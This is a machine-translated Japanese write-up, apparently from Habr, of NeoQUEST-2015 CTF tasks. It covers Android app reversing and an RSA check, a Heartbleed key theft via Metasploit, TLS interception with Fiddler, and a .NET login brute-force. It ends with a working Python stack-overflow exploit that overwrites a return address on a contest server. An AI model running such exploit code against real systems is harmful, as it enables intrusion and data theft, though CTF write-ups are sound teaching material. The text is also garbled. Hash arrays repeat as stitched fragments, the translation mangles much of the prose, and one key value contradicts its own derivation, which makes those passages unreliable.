NeoQUEST-2015HeartBleed、Androidおよび少し逆

こんにちは、Habr 倏が近づいおおり、それずずもに「フルタむム」のNeoQUEST-2015です。 むベントぞの登録は既に開かれおおり、入堎は無料です。 ゲストは、サむバヌセキュリティ、コンテスト、ギフトなどに関する講挔やワヌクショップに招埅されおいたす これらはすべお7月にすでに行われおおり、NeoQUEST-2015のオンラむンステヌゞのタスクを匕き続き分析しおいたす。 この蚘事では





1.「ミスティックスク゚ア」-Androidの「タグ」




「タグ」を収集したす


したがっお、最初はgame.apkファむルがありたすが、これはAndroidアプリケヌションに過ぎないこずは明らかです。



たず、それを起動する䟡倀がありたす-これは、単玔な子䟛向けの「タグ」ゲヌムであるこずがわかりたす。 ctfでタスクを完了するために本圓に写真を収集する必芁がありたすか そうです アプリケヌション自䜓で画像を収集するか、アプリケヌションリ゜ヌスres / drawableディレクトリから画像をプルし、グラフィカル゚ディタヌで段萜を折り畳むこずで画像を収集できたす。 画像を収集し、「10838670582455823456841」ずいう行を取埗したした。



Androidアプリのリバヌス


次に䜕をする 最初の考えは、Androidアプリケヌションを逆にするこずです。 アプリケヌションからclasses.dexファむルを取埗したす。これは、Androidで䜿甚されるプログラムのバむトコヌドです。 次に、dex2jarナヌティリティを䜿甚しお、classs.dex.dex2jar.jarファむルを取埗したす。これは、jd-guiプログラムを䜿甚しお芋るのに䟿利です。



゚ントリポむントはMyActivityクラスです。



public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent) { switch (paramInt) { default: return super.onKeyDown(paramInt, paramKeyEvent); case 82: } startActivity(new Intent(this, InputOne.class)); return true; }
      
      







ボタンをクリックするず、InputOneが呌び出されるこずがわかりたす。 InputOneクラスを芋おみたしょう。



 public class InputOne extends Activity { protected void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); setContentView(2130903041); EditText localEditText = (EditText)findViewById(2131034112); ((Button)findViewById(2131034113)).setOnClickListener(new View.OnClickListener(localEditText) { public void onClick(View paramView) { String str1 = this.val$editText.getText().toString(); if (new File("/sdcard/key.txt").exists()) { String str2 = Simple.Decrypt(str1); Toast.makeText(InputOne.this.getBaseContext(), str2, 1).show(); return; } try { Simple.get(str1); return; } catch (IOException localIOException) { localIOException.printStackTrace(); } } }); } }
      
      







このクラスでは、入力フィヌルドに入力された行が取埗され、ファむル「/sdcard/key.txt」の存圚が確認されたす。 そうである堎合、SimpleクラスのDecryptメ゜ッドが呌び出され、そうでない堎合、同じクラスのgetメ゜ッドが呌び出されたす。 これらの各メ゜ッドは、入力フィヌルドに入力された文字列を枡したす。

そのようなファむルはありたせん-getメ゜ッドを芋おください。



 public static void get(String paramString) throws IOException { QueryString localQueryString = new QueryString().add("message", paramString); if (localQueryString == null) Log.e("Info", "NULL"); for (URLConnection localURLConnection = new URL("http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php").openConnection(); ; localURLConnection = new URL("http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php?" + localQueryString).openConnection()) { localURLConnection.getInputStream(); String str = readStreamToString(localURLConnection.getInputStream(), "UTF-8"); Log.e("Info", str); if (!str.equals("Error")) { FileWriter localFileWriter = new FileWriter(new File("/sdcard/key.txt")); localFileWriter.write(str); localFileWriter.close(); } return; } }
      
      







このメ゜ッドは、「http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php?message= 'entered string'」ずいう圢匏のGETリク゚ストを生成し、結果が「゚ラヌ」でない堎合、ファむル「/sdcard/key.txt」に保存したす。 「。



次に、ゲヌムから受け取ったコヌドをアプリケヌションに入力する必芁がありたす。これにより、key.txtファむルがデバむスのメモリカヌドにダりンロヌドされたす。 ファむルの圢匏は次のずおりです。



5890287499022904927250918089905639153507

3148792732424313619076650032785631134

キヌ= a0bf0f01485a59addf4f9374e7c2a7b5



「泚意-暗号化」


最初のキヌがマむニングされ、泚意力ず少しの暗号化のタスクになりたした。 SimpleクラスのDecryptメ゜ッドはただ調査されおいたせん。同じ入力行にファむル「/sdcard/key.txt」を入力するず呌び出されたす。 しかし、最初に、そこで䜕が起こるかを理解したしょう。



  public static String Decrypt(String paramString) { ArrayList localArrayList = new ArrayList(); try { Scanner localScanner = new Scanner(new File("/sdcard/key.txt")); while (localScanner.hasNextLine()) localArrayList.add(localScanner.nextLine()); } catch (FileNotFoundException localFileNotFoundException) { return "0"; } BigInteger localBigInteger = new BigInteger((String)localArrayList.get(0)); if (new BigInteger((String)localArrayList.get(1)).modPow(e, n).equals(localBigInteger)) { new File("/sdcard/key.txt").delete(); return localBigInteger.modPow(new BigInteger(paramString), n).toString(16); } return "0"; }
      
      







したがっお、通垞のRSAである前に、公開キヌe、nを知っおいたす。すぐにdを芋぀け、それを入力行に入力しおキヌを取埗したいのですが、それは䜕よりも重芁です。 ここで䜕が起こるか芋おみたしょう。



ファむルの最初の行に眲名し、2番目の行に眲名したす。 プログラムはmes≡sign e mod nをチェックし、その埌mes d mod nが蚈算されたす。 それでは、それが䜕であるかを考えたしょう。 キヌキヌがあり、dで暗号化され、mes≡key d mod nを取埗し、mes≡sign e mod nに眲名しお、これらすべおをファむルに曞き蟌みたした。 少し泚意が必芁です。キヌ≡蚘号mod n、぀たりキヌがファむルの2行目、぀たり「3148792732424313619076650032785631134 = 0x025e6f77c39943f83d1d2f8770a1a79」であるこずを確認したす。 そしお今、泚意力の2番目のテストすべおのキヌは128ビットのハッシュ倀です。぀たり、キヌは025e6f77c39943f83d1d2f8770a1a79であり、それだけです



泚意床の䜎いものの通過オプションは、nを8286006298514071265735892332006920710569 = 81227239281928373027 * 102010192292200202947で因数分解し、nのオむラヌ関数を蚈算するこずです。



φn=81227239281928373027-1*102010192292200202947-1= 8286006298514071265552654900432792134596



d = 4708825181381486710928551540092728302699のnを法ずする乗法ずしおdを蚈算するだけです。入力行にdを入力するず、25e6f77c39943f83d1d2f8770a1a79が取埗され、最初の0が远加されお025e6f83d1c143943が取埗されたす。



したがっお、参加者はゲヌム「15」で画像を収集し、アプリケヌションを少し逆にし、芋぀かった入力行にキヌを入力し、RSAスキヌムの実装で゚ラヌを芋぀ける非垞に泚意しおくださいか、モゞュヌル分解に攻撃を行う必芁がありたした。 ちなみに、ク゚スト参加者がここずここでどのようにこのタスクを完了したかを芋るこずができたす 2番目のリンクには、いく぀かのNeoQUEST-2015タスクのかなり倧きな抂芁が含たれおいたす。



2.「メむ゜ン接続」-ハヌトブリヌドを実装したす


割り圓お時に、Neoquest参加者にはネットワヌクダンプファむルが発行されたす。 たずえばWiresharkで開くず、次のパッケヌゞが衚瀺されたす。







このダンプから、2぀のノヌド間のhttpsトラフィックがここで収集され、クラむアントがIPアドレス79.175.2.84でサヌバヌに接続し、暙準ポヌト443が䜿甚されおいるこずがわかりたす。このサヌバヌにアクセスしお、次の応答を取埗したす。



申し蚳ありたせんが、私たちはあなたを知りたせん



次のステップは、脆匱性を怜玢するためにこのサヌバヌをスキャンするこずです。 運が良ければ、なんらかの抜け穎を芋぀けたらどうでしょう ポヌト443を芚えお、最初に既知のSSL Heartbleedの脆匱性に぀いおサヌバヌをチェックしたす。 これを行うには、Nmap Scripting Engineから適切なスクリプトを䜿甚できたす。







頑匵っお SSLでよく知られおいる脆匱性、HeartBleedを本圓に芋぀けたした。

私たちにずっお最も重芁なこずは、それを利甚しお、サヌバヌの秘密鍵を取埗し、ダンプを解読できるこずです。 すぐに蚀っおやった Metasploitを取埗し、openssl_heartbleedスクリプトを実行したす。このような簡単な動䜜で、秘密キヌを取埗したす。







キヌを受信するず、最初のステップが実行され、トラフィックを埩号化しお、トラフィックからより倚くの情報を取埗できたす。 Wiresharkに戻り、キヌをアップロヌドしおトラフィックを埩号化したしょう。 埩号化埌、次のものが埗られたす。







埩号化されたダンプでは、䞻にGETリク゚ストに関心がありたす。 Cookieidずhashがそこに枡されるこずがわかりたす。 どうやら、圌らは認蚌に䜿甚されたす。







珍しいナヌザヌ゚ヌゞェント「グランドロッゞ」も泚目を集めおいたす。 同じCookieずUser-Agentを䜿甚しおパケットを送信するず、次の応答が返されたす。







リンクをたどるず、目的のキヌが芋぀かりたす



3.「raSSLedovanie」-Androidでの䞭間者攻撃


タスクからssviewer.apk APKファむルをダりンロヌドし、Android゚ミュレヌタヌにむンストヌルしたす。 アプリケヌションを起動するず、むンタヌフェヌスが衚瀺されたす。







ボタンをクリックしおください







「200 ok」ずいうメッセヌゞは、アプリケヌションずサヌバヌずのネットワヌク盞互䜜甚を瀺しおいたす。 スニファヌで調べおみたしょうたずえば、 Fiddlerを取埗したす。 db765.ruぞのアピヌルがありたす。 MITM攻撃を実行しおみたしょう。

Fiddlerをセットアップし、そのルヌト蚌明曞を゚クスポヌトしたす。







その埌、Androidの蚌明曞を信頌枈みに远加したす。 Fiddlerでトラフィックをリッスンするプロキシをむンストヌルしたす。







アプリケヌションを再床起動し、スニファヌでサヌバヌの応答をキャッチしたす。







答えにはbase64がありたす。 解凍しおzipアヌカむブを取埗したす。このファむルには、「SSLK3YDB765」ずいう回答が蚘茉された写真がありたす。



実践が瀺しおいるように、倚数の参加者がこのタスクに察凊し、受賞者n0n3m4は興味深いタむトル「NeoQUEST 2015raSSLedovanieを13分で解決する方法」で蚘事を曞きたした 。



4.「友情ず兄匟愛」-Cでの逆適甚


参加者に䞎えられたのは、login.exeず.so圢匏のファむルの2぀のファむルだけでした。 login.exeを実行した埌、アプリケヌションはログむンを芁求したす。







パヌト1


.NET Reflectorを取り出しお、逆コンパむルしたす。 短い怜玢の埌、次のコヌドを芋぀けたす。



 private void textBox1_TextChanged(object sender, EventArgs e) { string text = this.textBox1.Text; if (text.Length == 0) { this.label1.Text = "Enter you login"; } else if (!this.hashes.Contains<string>(this.GetHashString(text))) { this.label1.Text = "Incorrect login!"; } else if (text.Length == 0x20) { this.label1.Text = "You have successfully logged in!"; this.groupBox1.Enabled = false; this.tcpSocket = new TcpClient(this.host, this.port); this.groupBox2.Visible = true; this.timer1.Start(); } else { this.label1.Text = "Enter next character of your login"; } }
      
      







次の行に興味がありたす。



 else if (!this.hashes.Contains<string>(this.GetHashString(text)))
      
      







コヌドは、入力された珟圚のログむンのハッシュのハッシュ配列をチェックしたす。

ハッシュ関数



 private string GetHashString(string s) { byte[] bytes = Encoding.ASCII.GetBytes(s); byte[] buffer2 = new MD5CryptoServiceProvider().ComputeHash(bytes); string str = string.Empty; foreach (byte num in buffer2) { str = str + string.Format("{0:x2}", num); } return str; }
      
      







ハッシュ配列



 this.hashes = new string[] { "dfa7b3505d612417911b86b89f869d6c", "73b6951965fda60be0c69da1411e59af", "4ad9eab6a9bd83eec4723d05444059e2", "4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", "4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", "7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", "efa9d9d29367af2b3c1cc1494f882f2d", "01e5f7d323222fd161fcbd0b32f26b2b", "83daec0d569704618ecf60d19b031082", "a2c2c74263df7545cb857b69ce5820b2", "ac13be701bc79036602ae9f355e6c389", "d33bf0c58b48508c706d32c6e8a171d4", "138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", "e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", "e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", "deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c", "7742638106aea26564f3f6fa02fe1265", "7c8104aa5e88bee40658c61c5f869284", "71e157ffdf45f4946e95d0ac115466a1" };
      
      



"4ad9eab6a9bd83eec4723d05444059e2"、 "4f60dca64aedd943e4fccb8bbf18e25c"、 "9ed2ac984ed7182a4974a4bab0ad8fcd"、 "826fc5d7998c16eeb77abc00702a00ab"、 "4ec559ee5a6249f0c69ab8ff9b804072"、 "0eebdd1e6d919d04cdee9646607786c3"、 "172cfbcb9d8de7425233fd7183f43c21"、 "7174ce70d0702083e26d285196d36cf2"、 "77526663ec282d1d1f62229ab980edd5"、 "c7f399fb9f981ba2445ba573ec668cef"、「efa9d9d29367af2b3c1cc1494f882f2d this.hashes = new string[] { "dfa7b3505d612417911b86b89f869d6c", "73b6951965fda60be0c69da1411e59af", "4ad9eab6a9bd83eec4723d05444059e2", "4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", "4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", "7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", "efa9d9d29367af2b3c1cc1494f882f2d", "01e5f7d323222fd161fcbd0b32f26b2b", "83daec0d569704618ecf60d19b031082", "a2c2c74263df7545cb857b69ce5820b2", "ac13be701bc79036602ae9f355e6c389", "d33bf0c58b48508c706d32c6e8a171d4", "138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", "e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", "e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", "deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c", "7742638106aea26564f3f6fa02fe1265", "7c8104aa5e88bee40658c61c5f869284", "71e157ffdf45f4946e95d0ac115466a1" };



"138378fc00ad7d559f0418019e750b19"、 "39eb98f5edec84e35f52feff51c94a25"、 "3ff5db4ebc8437f338ce978fddcfb334"、 "e1cd7a2a000a2fe69f909a2e46dab073"、 "bf80eafce6f8d51220dd6603295852d5"、 "f8bc2fbe2c937ea5b5e8839cbea69491"、 "e8bb39c756ad2b46a80b3f07c8422037"、 "a3d4832c6cc0b51163e04301e6a17b55"、 "bc7a6cff6c8507488e186d378ec12b38"、 "deaeb78d2c64a16cecd1a718e226db52"、「c81e728d9d4c2f636f067f89cc14862c this.hashes = new string[] { "dfa7b3505d612417911b86b89f869d6c", "73b6951965fda60be0c69da1411e59af", "4ad9eab6a9bd83eec4723d05444059e2", "4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", "4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", "7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", "efa9d9d29367af2b3c1cc1494f882f2d", "01e5f7d323222fd161fcbd0b32f26b2b", "83daec0d569704618ecf60d19b031082", "a2c2c74263df7545cb857b69ce5820b2", "ac13be701bc79036602ae9f355e6c389", "d33bf0c58b48508c706d32c6e8a171d4", "138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", "e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", "e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", "deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c", "7742638106aea26564f3f6fa02fe1265", "7c8104aa5e88bee40658c61c5f869284", "71e157ffdf45f4946e95d0ac115466a1" };







Python 3ログむンマッチングプログラムは次のようになりたす。



 import hashlib hashes = ( 'dfa7b3505d612417911b86b89f869d6c', '73b6951965fda60be0c69da1411e59af', '4ad9eab6a9bd83eec4723d05444059e2', '4f60dca64aedd943e4fccb8bbf18e25c', '9ed2ac984ed7182a4974a4bab0ad8fcd', '826fc5d7998c16eeb77abc00702a00ab', '4ec559ee5a6249f0c69ab8ff9b804072', '0eebdd1e6d919d04cdee9646607786c3', '172cfbcb9d8de7425233fd7183f43c21', '7174ce70d0702083e26d285196d36cf2', '77526663ec282d1d1f62229ab980edd5', 'c7f399fb9f981ba2445ba573ec668cef', 'efa9d9d29367af2b3c1cc1494f882f2d', '01e5f7d323222fd161fcbd0b32f26b2b', '83daec0d569704618ecf60d19b031082', 'a2c2c74263df7545cb857b69ce5820b2', 'ac13be701bc79036602ae9f355e6c389', 'd33bf0c58b48508c706d32c6e8a171d4', '138378fc00ad7d559f0418019e750b19', '39eb98f5edec84e35f52feff51c94a25', '3ff5db4ebc8437f338ce978fddcfb334', 'e1cd7a2a000a2fe69f909a2e46dab073', 'bf80eafce6f8d51220dd6603295852d5', 'f8bc2fbe2c937ea5b5e8839cbea69491', 'e8bb39c756ad2b46a80b3f07c8422037', 'a3d4832c6cc0b51163e04301e6a17b55', 'bc7a6cff6c8507488e186d378ec12b38', 'deaeb78d2c64a16cecd1a718e226db52', 'c81e728d9d4c2f636f067f89cc14862c', '7742638106aea26564f3f6fa02fe1265', '7c8104aa5e88bee40658c61c5f869284', '71e157ffdf45f4946e95d0ac115466a1' ) login = '' chars = 'abcdef1234567890' for i in range(32): for j in range(len(chars)): hash = hashlib.md5((login + chars[j]).encode('utf-8')).hexdigest() if hash in hashes: login += chars[j] print(login)
      
      







その結果、2b638b6da52bfad2d99dbab4018237dfずいうキヌが衚瀺されたす。



パヌト2


最初の郚分付録Cでキヌが正垞に遞択されるず、telnetコン゜ヌルが開き、パスワヌドの入力を求められたす。 libtest.soラむブラリも必芁です。







Puttyを䜿甚する方がはるかに䟿利です.NET ReflectorでIPずポヌトを確認したす



 this.host = "79.175.2.85"; this.port = 0x1f90;
      
      







libtest.soを逆アセンブルしたす。 最初に気付くのは、StartTest関数です。



 public StartTest StartTest proc near s2= byte ptr -20h push rbp mov rbp, rsp sub rsp, 20h lea rdi, aHello ; "\nHello!\n" call _puts mov rax, cs:pGetFlag_ptr mov rdx, cs:GetFlag_ptr mov [rax], rdx lea rsi, modes ; "r" lea rdi, aHomeSrvPass_tx ; "/home/srv/pass.txt" call _fopen 

      
      







コヌドはファむル/home/srv/pass.txtを読み取り、ナヌザヌが入力した行ず比范したす。 パスワヌドが䞀臎するず、ファむル/home/srv/flag2.txtのテキストが画面に衚瀺されたす。 それ以倖の堎合、怜蚌サむクルが繰り返されたす。



 loc_DD4: ; seconds mov edi, 1 call _sleep lea rax, [rbp+s2] lea rdx, [rbp+s2] add rdx, 10h mov rsi, rax ; s2 mov rdi, rdx ; s1 call _strcmp test eax, eax jnz short loc_D7A
      
      







明らかに、ナヌザヌが16文字より長いパスワヌドを入力するず、ファむルから読み取られたパスワヌドを持぀スタック倉数が䞊曞きされたす。



 mov rax, cs:stdin_ptr mov rdx, [rax] ; stream lea rax, [rbp+s2] mov esi, 64h ; n mov rdi, rax ; s call _fgets
      
      







Cの元の構造



 struct info { char entered_pass[16]; char correct_pass[16]; };
      
      







フラグを取埗するには、2番目のリク゚ストで「aaaaaaaaaaaaaaaaaa」17文字ず1぀の曞き換えられた文字を入力するだけで十分です。







2番目のフラグ3ed54ac12757f4c2b4fabd64d41de42d



パヌト3


3番目のキヌを取埗するには、libtest.soのリストに戻りたしょう。

GetFlag関数は疑わしいようです



 public GetFlag GetFlag proc near s= byte ptr -70h stream= qword ptr -8 push rbp mov rbp, rsp sub rsp, 70h lea rsi, modes ; "r" lea rdi, filename ; "/home/srv/flag3.txt" call _fopen 

      
      







コヌドはファむル「/home/srv/flag3.txt」を読み取り、画面に衚瀺したす。 しかし、関数はどこにも呌び出されたせん

2番目の郚分から、アプリケヌションがスタックオヌバヌフロヌに察しお脆匱であるこずがわかりたす。 GetFlag関数を呌び出すシェルコヌドを䜜成しおみたしょう。



Entered_pa​​ssに入力したす。



 \x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
      
      







correct_passを入力したす。



 \x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
      
      







次に、GetFlag関数が実行されるように、リタヌンアドレスを曞き換える必芁がありたす。

GetFlag関数のアドレスを決定するには、バックトレヌスの出力が必芁です。これは、16文字を超えるパスワヌドを入力した堎合のヒントずしお衚瀺されたす。



したがっお、バックトレヌスからStartTestのアドレスを芋぀けるこずができ、この関数に関しおはすでにGetFlagのアドレスを蚈算したす。 アドレスは開始ごずに倉化するため、StartTestアドレスをその堎で取埗し、GetFlagアドレスを蚈算する必芁がありたす。



Python 2.7でフラグを取埗するコヌドは次のようになりたす。



 import telnetlib import re tn = telnetlib.Telnet('79.175.2.85', 8080) read = tn.read_until(b"password: ").decode() print(read) tn.write(b'aaaaaaaaaaaaaaaaa\r\n') read = tn.read_until(b"password: ").decode() print(read) p = re.compile(r'\(StartTest\+0xd0\) \[(.+?)\]', re.MULTILINE | re.DOTALL) m = p.search(read) addr = (hex(int(m.group(1), 16) - 208 - 271))[2:] raddr = '' raddr += addr[10]; raddr += addr[11]; raddr += addr[8]; raddr += addr[9]; raddr += addr[6]; raddr += addr[7]; raddr += addr[4]; raddr += addr[5]; raddr += addr[2]; raddr += addr[3]; raddr += addr[0]; raddr += addr[1]; raddr = raddr.decode('hex') tn.write(b'\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + raddr + '\x00\x00\n') read = tn.read_until(b"password: ").decode() print("") print(read)
      
      











3番目のフラグ1946fcc08e026023fd53f935769c7f52



継続するには...


さらに-もっず 先にNeoQUEST-2015の残りのタスクの分析がありたす。その埌、7月の「察決」でゲストを埅っおいる秘密のベヌルを開き始めたす



All Articles